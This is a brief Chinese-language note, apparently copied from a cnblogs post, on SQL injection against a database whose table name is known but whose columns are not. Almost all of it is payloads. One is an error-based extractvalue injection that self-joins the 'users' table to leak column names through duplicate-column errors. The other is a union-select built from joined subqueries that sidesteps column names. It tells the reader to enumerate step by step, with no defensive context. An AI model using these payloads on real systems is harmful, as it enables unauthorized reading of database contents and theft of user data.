约束条件
在知到表名的前提下才能操作
注入语句
and extractvalue(1,concat(0x7e,(select * from (select * from users join users b using(id))c),0x7e))
依次枚举即可
payload
union select * from (select 1) a join (select 2) b join (select 3) c%23
原文：https://www.cnblogs.com/R0ser1/p/14829001.html